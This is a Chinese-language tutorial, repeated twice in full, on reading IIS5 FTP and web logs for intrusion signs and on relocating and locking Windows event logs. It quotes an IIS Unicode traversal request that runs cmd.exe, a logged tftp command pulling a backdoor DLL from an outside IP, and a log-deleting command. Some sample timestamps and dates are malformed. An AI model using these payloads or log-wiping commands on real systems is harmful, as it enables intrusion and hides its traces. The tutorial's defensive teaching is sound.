快速掌握典型入侵日誌分析
如今各式各樣的Windows漏洞層出不窮,五花八門的入侵工具更是令人眼花繚亂,稍微懂點網路知識的人都可以利用各種入侵工具進行入侵,這可給我們的網管帶來了很大的麻煩,雖然經過精心配置的服務器可以抵禦大部分入侵,但隨著不斷新出的漏洞,再高明的網管也不敢保證一台務器長時間不會被侵入,所以,安全配置服務器並不能永遠阻止黑客入侵,而如何檢測入侵者行動以保證服務器安全性就在這樣的情況下顯得非常重要。
日誌文件作為微軟Windows系列操作系統中的一個特殊文件,在安全方面具有無可替代的價值。它每天為我們忠實地記錄下系統所發生一切事件,利用它可以使系統管理員快速對潛在的系統入侵作出記錄和預測,但遺憾的是目前絕大多數的人都忽略了它的存在,反而是因為黑客們光臨才會使我們想起這個重要的系統日誌文件,很有諷刺意味。
在這裡我們就不去講什麼日誌文件的預定位置、常見備份方法等基本技巧了,我們今天來看看如何分析常見的日誌文件吧!
1.FTP日誌分析
FTP日誌和WWW日誌在預定情況下,每天產生一個日誌文件,包含了該日的一切記錄,文件名通常為ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日產生的日誌,用記事本可直接打開,普通的有入侵行為的日誌一般是這樣的:
#Software: Microsoft Internet Information Services 5.0(微軟IIS5.0)
#Version: 1.0 (版本1.0)
#Date: 20040419 0315 (服務啟動時間日期)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331(IP位址為127.0.0.1用戶名為administator試圖登入)
0318 127.0.0.1 [1]PASS – 530(登入失敗)
032:04 127.0.0.1 [1]USER nt 331(IP位址為127.0.0.1用戶名為nt的用戶試圖登入)
032:06 127.0.0.1 [1]PASS – 530(登入失敗)
032:09 127.0.0.1 [1]USER cyz 331(IP位址為127.0.0.1用戶名為cyz的用戶試圖登入)
0322 127.0.0.1 [1]PASS – 530(登入失敗)
0322 127.0.0.1 [1]USER administrator 331(IP位址為127.0.0.1用戶名為administrator試圖登入)
0324 127.0.0.1 [1]PASS – 230(登入成功)
0321 127.0.0.1 [1]MKD nt 550(新增目錄失敗)
0325 127.0.0.1 [1]QUIT – 550(退出FTP程式)
從日誌裡就能看出IP位址為127.0.0.1的用戶一直試圖登入系統,換了四次用戶名和密碼才成功,管理員立即就可以得知這個IP至少有入侵企圖!而他的入侵時間、IP位址以及探測的用戶名都很清楚的記錄在日誌上。如上例入侵者最終是用Administrator用戶名進入的,那麼就要考慮此用戶名是不是密碼失竊?還是被別人利用?接下來就要想想系統出什麼問題了。
2.WWW日誌分析
WWW服務同FTP服務一樣,產生的日誌也是在%systemroot%\sys tem32\LogFiles\W3SVC1目錄下,預定是每天一個日誌文件。這裡需要特別說明一下,因為Web的日誌和其他日誌不同,它的分析要細緻得多,需要管理員有豐富的入侵、防護知識,並且要足夠的細心,不然,很容易遺漏那種很簡單的日誌,而通常這樣的日誌又是非常關鍵的。由於我們不可能一個一個分析,所以這裡舉個簡單例子:
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通過分析第六行,可以看出2004年5月19日,IP位址為192.168.1.26的用戶通過訪問IP位址為192.168.1.37機器的80連接阜,檢視了一個網頁面iisstart.asp,這位用戶的瀏覽器為 compatible;+MSIE+5.0;+Windows+98+DigExt,有經驗的管理員就可通過安全日誌、FTP日誌和WWW日誌來確定入侵者的IP位址以及入侵時間。
對現在非常常見的SQL注入式攻擊,通過對put、get的檢查,也可以大概判斷是那個網頁面出了問題,從而修補。
3.HTTPD事務日誌的分析
Microsoft的IIS 5自公佈到現在,被黑客利用的漏洞多不勝數,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我們分析日誌的目的就是為了分析黑客入侵的行為,對於沒有打好修正檔包的系統被黑客成功入侵的日誌記錄分別對應如下。為了給大家介紹一個比較醒目的介紹,專門配置了個「古老」的服務器,用舊漏洞給大家做個演示,很容易觸類旁通就懂其它了。
(1)unicode漏洞入侵日誌記錄
這個是個非常經典的漏洞了,要找這樣的服務器估計得去國外慢慢找了,但是因為它的日誌是最經典的一個,所以我們這裡特別拿它來做個示範。
我們打開IIS5的Web服務的日誌文件,日誌文件預定位置在%systemroot%\system32\LogFiles\資料夾下,如圖1所示是一個典型的Unicode漏洞入侵行為的日誌記錄,對於正常的Web訪問,是通過80連接阜用GET命令獲取Web資料,但通過非法的字元編碼可繞過字元驗證而得到不應該得到的訊息。但補上相應的修正檔可堵上此漏洞。
我們配合入侵來看下這樣的記錄:通過下面的編碼我們在入侵的時候可以檢視目標機的目錄文件:
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200
則日誌中會記錄下此訪問行為:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -
看到了嗎?我們的日誌中記錄地一清二楚,來自192.168.0.1的攻擊者檢視我們的目錄。下面一行是向我們的機器傳送後門程式的日誌記錄:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –
看到了吧?記錄非常詳細的,系統裡面那個程式在響應都記錄了下來,這樣我們分析入侵行為就好辦了。
(2)WebDavx3遠端溢出日誌記錄
過去一段時間有名的Wevdavx3漏洞是應用最廣泛的,如果系統遭受了此遠端溢出的攻擊行為,則日誌記錄如下:
2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……
這表示我們的Web服務受到了來自192.168.0.218的攻擊,並鎖定(即關閉)了WEB服務,後面的一些亂碼字元是在溢出攻擊時使用的偏移位猜過程。
上面的幾種日雜都記錄了有入侵行為的IP位址,但此IP位址說不定就是攻擊者使用了跳板,也就是說此IP很可能是「肉雞」而不是攻擊者的IP,遇到這樣的情況,我們再檢視其他日誌文件,還是有可能追查出攻擊者的位置的,但這個就完全靠管理員的經驗了。
4.日誌文件的移位保護
通過上面的幾個方法,大家應該可以檢測普通的系統攻擊了,但話說回來,如果上面的攻擊任何一個成功了,那現在我們都看不到日誌了,早被入侵者清空了,所以,為了防患於未然,我們還是針對常見的刪除日誌的方法,把日誌挪挪吧。
好多文章介紹對事件日誌移位能做到對系統系統很好的保護,移位雖是一種保護方法,但只要在命令行輸入dir c:\*.evt/s,一下就可查找到事件日誌位置,再刪除可容易了,那怎麼辦呢?其實日誌移位要通過修改註冊表來完成,找到註冊表 HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog下面的Application、Security、System幾個子鍵,分別對應「應用程式日誌」、「安全日誌」、「系統日誌」。如何修改呢?下面我們具體來看看Application子鍵:File項就是「應用程式日誌」文件存放的位置,把此鍵值改為要存放日誌文件的資料夾,我們再把%systemroot%\system32\config\appevent.evt文件拷貝到此資料夾,再重啟機器就可以了。
在此介紹移位的目的是為了充分利用Windows 2000在NTFS格式下的「安全」內容,如果不移位也無法對文件進行安全設置操作,右擊移位後的「資料夾選擇內容」,進入「安全」選擇項,不選擇「允許將來自父系的可繼承權限傳播給該對像」,新增「System」組,分別給Everyone組「讀取」權限,System組選擇除「完全控制」和「修改」的權限。然後再將系統預定的日誌文件512KB大小改為你所想要的大小,如20MB。進行了上面的設置後,直接通過Del C:\*.Evt/s/q來刪除是刪不掉的,相對要安全很多了。
通過上面的幾個實際的例子,相信大家都應該具備分析普通入侵日誌的能力了,再結合一定的實際經驗,通過日誌來發現系統漏洞、追蹤入侵者就簡單很多了。希望此文能拋磚引玉,給大家帶來一些幫助。
如今各式各樣的Windows漏洞層出不窮,五花八門的入侵工具更是令人眼花繚亂,稍微懂點網路知識的人都可以利用各種入侵工具進行入侵,這可給我們的網管帶來了很大的麻煩,雖然經過精心配置的服務器可以抵禦大部分入侵,但隨著不斷新出的漏洞,再高明的網管也不敢保證一台務器長時間不會被侵入,所以,安全配置服務器並不能永遠阻止黑客入侵,而如何檢測入侵者行動以保證服務器安全性就在這樣的情況下顯得非常重要。
日誌文件作為微軟Windows系列操作系統中的一個特殊文件,在安全方面具有無可替代的價值。它每天為我們忠實地記錄下系統所發生一切事件,利用它可以使系統管理員快速對潛在的系統入侵作出記錄和預測,但遺憾的是目前絕大多數的人都忽略了它的存在,反而是因為黑客們光臨才會使我們想起這個重要的系統日誌文件,很有諷刺意味。
在這裡我們就不去講什麼日誌文件的預定位置、常見備份方法等基本技巧了,我們今天來看看如何分析常見的日誌文件吧!
1.FTP日誌分析
FTP日誌和WWW日誌在預定情況下,每天產生一個日誌文件,包含了該日的一切記錄,文件名通常為ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日產生的日誌,用記事本可直接打開,普通的有入侵行為的日誌一般是這樣的:
#Software: Microsoft Internet Information Services 5.0(微軟IIS5.0)
#Version: 1.0 (版本1.0)
#Date: 20040419 0315 (服務啟動時間日期)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331(IP位址為127.0.0.1用戶名為administator試圖登入)
0318 127.0.0.1 [1]PASS – 530(登入失敗)
032:04 127.0.0.1 [1]USER nt 331(IP位址為127.0.0.1用戶名為nt的用戶試圖登入)
032:06 127.0.0.1 [1]PASS – 530(登入失敗)
032:09 127.0.0.1 [1]USER cyz 331(IP位址為127.0.0.1用戶名為cyz的用戶試圖登入)
0322 127.0.0.1 [1]PASS – 530(登入失敗)
0322 127.0.0.1 [1]USER administrator 331(IP位址為127.0.0.1用戶名為administrator試圖登入)
0324 127.0.0.1 [1]PASS – 230(登入成功)
0321 127.0.0.1 [1]MKD nt 550(新增目錄失敗)
0325 127.0.0.1 [1]QUIT – 550(退出FTP程式)
從日誌裡就能看出IP位址為127.0.0.1的用戶一直試圖登入系統,換了四次用戶名和密碼才成功,管理員立即就可以得知這個IP至少有入侵企圖!而他的入侵時間、IP位址以及探測的用戶名都很清楚的記錄在日誌上。如上例入侵者最終是用Administrator用戶名進入的,那麼就要考慮此用戶名是不是密碼失竊?還是被別人利用?接下來就要想想系統出什麼問題了。
2.WWW日誌分析
WWW服務同FTP服務一樣,產生的日誌也是在%systemroot%\sys tem32\LogFiles\W3SVC1目錄下,預定是每天一個日誌文件。這裡需要特別說明一下,因為Web的日誌和其他日誌不同,它的分析要細緻得多,需要管理員有豐富的入侵、防護知識,並且要足夠的細心,不然,很容易遺漏那種很簡單的日誌,而通常這樣的日誌又是非常關鍵的。由於我們不可能一個一個分析,所以這裡舉個簡單例子:
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
通過分析第六行,可以看出2004年5月19日,IP位址為192.168.1.26的用戶通過訪問IP位址為192.168.1.37機器的80連接阜,檢視了一個網頁面iisstart.asp,這位用戶的瀏覽器為 compatible;+MSIE+5.0;+Windows+98+DigExt,有經驗的管理員就可通過安全日誌、FTP日誌和WWW日誌來確定入侵者的IP位址以及入侵時間。
對現在非常常見的SQL注入式攻擊,通過對put、get的檢查,也可以大概判斷是那個網頁面出了問題,從而修補。
3.HTTPD事務日誌的分析
Microsoft的IIS 5自公佈到現在,被黑客利用的漏洞多不勝數,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我們分析日誌的目的就是為了分析黑客入侵的行為,對於沒有打好修正檔包的系統被黑客成功入侵的日誌記錄分別對應如下。為了給大家介紹一個比較醒目的介紹,專門配置了個「古老」的服務器,用舊漏洞給大家做個演示,很容易觸類旁通就懂其它了。
(1)unicode漏洞入侵日誌記錄
這個是個非常經典的漏洞了,要找這樣的服務器估計得去國外慢慢找了,但是因為它的日誌是最經典的一個,所以我們這裡特別拿它來做個示範。
我們打開IIS5的Web服務的日誌文件,日誌文件預定位置在%systemroot%\system32\LogFiles\資料夾下,如圖1所示是一個典型的Unicode漏洞入侵行為的日誌記錄,對於正常的Web訪問,是通過80連接阜用GET命令獲取Web資料,但通過非法的字元編碼可繞過字元驗證而得到不應該得到的訊息。但補上相應的修正檔可堵上此漏洞。
我們配合入侵來看下這樣的記錄:通過下面的編碼我們在入侵的時候可以檢視目標機的目錄文件:
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200
則日誌中會記錄下此訪問行為:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -
看到了嗎?我們的日誌中記錄地一清二楚,來自192.168.0.1的攻擊者檢視我們的目錄。下面一行是向我們的機器傳送後門程式的日誌記錄:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –
看到了吧?記錄非常詳細的,系統裡面那個程式在響應都記錄了下來,這樣我們分析入侵行為就好辦了。
(2)WebDavx3遠端溢出日誌記錄
過去一段時間有名的Wevdavx3漏洞是應用最廣泛的,如果系統遭受了此遠端溢出的攻擊行為,則日誌記錄如下:
2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……
這表示我們的Web服務受到了來自192.168.0.218的攻擊,並鎖定(即關閉)了WEB服務,後面的一些亂碼字元是在溢出攻擊時使用的偏移位猜過程。
上面的幾種日雜都記錄了有入侵行為的IP位址,但此IP位址說不定就是攻擊者使用了跳板,也就是說此IP很可能是「肉雞」而不是攻擊者的IP,遇到這樣的情況,我們再檢視其他日誌文件,還是有可能追查出攻擊者的位置的,但這個就完全靠管理員的經驗了。
4.日誌文件的移位保護
通過上面的幾個方法,大家應該可以檢測普通的系統攻擊了,但話說回來,如果上面的攻擊任何一個成功了,那現在我們都看不到日誌了,早被入侵者清空了,所以,為了防患於未然,我們還是針對常見的刪除日誌的方法,把日誌挪挪吧。
好多文章介紹對事件日誌移位能做到對系統系統很好的保護,移位雖是一種保護方法,但只要在命令行輸入dir c:\*.evt/s,一下就可查找到事件日誌位置,再刪除可容易了,那怎麼辦呢?其實日誌移位要通過修改註冊表來完成,找到註冊表 HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog下面的Application、Security、System幾個子鍵,分別對應「應用程式日誌」、「安全日誌」、「系統日誌」。如何修改呢?下面我們具體來看看Application子鍵:File項就是「應用程式日誌」文件存放的位置,把此鍵值改為要存放日誌文件的資料夾,我們再把%systemroot%\system32\config\appevent.evt文件拷貝到此資料夾,再重啟機器就可以了。
在此介紹移位的目的是為了充分利用Windows 2000在NTFS格式下的「安全」內容,如果不移位也無法對文件進行安全設置操作,右擊移位後的「資料夾選擇內容」,進入「安全」選擇項,不選擇「允許將來自父系的可繼承權限傳播給該對像」,新增「System」組,分別給Everyone組「讀取」權限,System組選擇除「完全控制」和「修改」的權限。然後再將系統預定的日誌文件512KB大小改為你所想要的大小,如20MB。進行了上面的設置後,直接通過Del C:\*.Evt/s/q來刪除是刪不掉的,相對要安全很多了。
通過上面的幾個實際的例子,相信大家都應該具備分析普通入侵日誌的能力了,再結合一定的實際經驗,通過日誌來發現系統漏洞、追蹤入侵者就簡單很多了。希望此文能拋磚引玉,給大家帶來一些幫助。